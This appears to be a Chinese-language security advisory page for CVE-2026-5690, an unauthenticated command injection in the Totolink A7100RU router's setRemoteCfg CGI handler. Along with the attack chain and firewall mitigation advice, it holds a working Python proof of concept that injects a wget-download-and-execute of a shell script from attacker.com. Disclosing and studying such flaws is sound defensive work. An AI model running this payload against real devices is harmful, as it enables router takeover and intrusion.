IPBUF安全漏洞报告
English
CVE-2026-5690 CVSS 7.3 高危

CVE-2026-5690 Totolink A7100RU 远程命令注入漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-5690
漏洞类型
操作系统命令注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Totolink A7100RU

相关标签

RCE命令注入IoT路由器TotolinkCVE-2026-5690

漏洞概述

Totolink A7100RU路由器存在操作系统命令注入漏洞。由于 `/cgi-bin/cstecgi.cgi` 文件中的 `setRemoteCfg` 函数未正确过滤用户输入,攻击者可通过构造恶意请求操作 `enable` 参数,在系统后台执行任意操作系统命令。该漏洞无需认证即可远程利用,可能导致设备被完全控制,建议用户尽快采取修复措施。

技术细节

该漏洞源于Totolink A7100RU路由器固件版本7.4cu.2313_b20191024中的Web接口处理逻辑缺陷。具体而言,位于 `/cgi-bin/cstecgi.cgi` 的CGI程序在处理 `setRemoteCfg` 功能时,对传入的 `enable` 参数缺乏严格的校验和过滤机制。攻击者可以通过向该接口发送特制的HTTP POST请求,将恶意的Shell命令注入到 `enable` 参数中。由于Web服务通常以root权限运行,注入的命令将以高权限在设备操作系统上执行。CVSS向量显示攻击复杂度低,无需权限且无需用户交互,利用门槛极低。攻击成功后,可获取设备的Shell访问权限,进而窃取敏感信息、修改配置或发起进一步的攻击。

攻击链分析

STEP 1
1. 信息收集
攻击者扫描网络,识别存在Totolink A7100RU路由器且固件版本为7.4cu.2313_b20191024的目标设备。
STEP 2
2. 发送恶意请求
攻击者向目标设备的 `/cgi-bin/cstecgi.cgi` 接口发送特制的HTTP POST请求,在 `enable` 参数中注入恶意Shell命令。
STEP 3
3. 命令执行
由于后端未过滤特殊字符,CGI程序将恶意参数拼接进系统命令并执行,攻击者获得设备后台执行权限。
STEP 4
4. 建立控制
攻击者利用执行权限下载恶意程序、反弹Shell或修改配置,从而完全控制受影响的路由器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target settings target_url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi" # Vulnerable payload manipulating the 'enable' argument # Using ';' to chain a command (e.g., reboot or ping) payload_data = { "topicurl": "setRemoteCfg", "enable": "value; /bin/busybox wget http://attacker.com/shell.sh -O /tmp/sh; chmod 777 /tmp/sh; /tmp/sh" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (compatible; PoC/1.0)" } def send_exploit(): try: print(f"[*] Sending exploit request to {target_url}") response = requests.post(target_url, data=payload_data, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print(f"[+] Response body: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": send_exploit()

影响范围

Totolink A7100RU 7.4cu.2313_b20191024

防御指南

临时缓解措施
如果无法立即升级固件,建议通过网络防火墙限制对路由器Web管理界面(通常为80/443端口)的外部访问,仅允许可信的内网IP地址连接。同时,监控设备异常流量和行为,如发现不明外连请求应及时排查。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表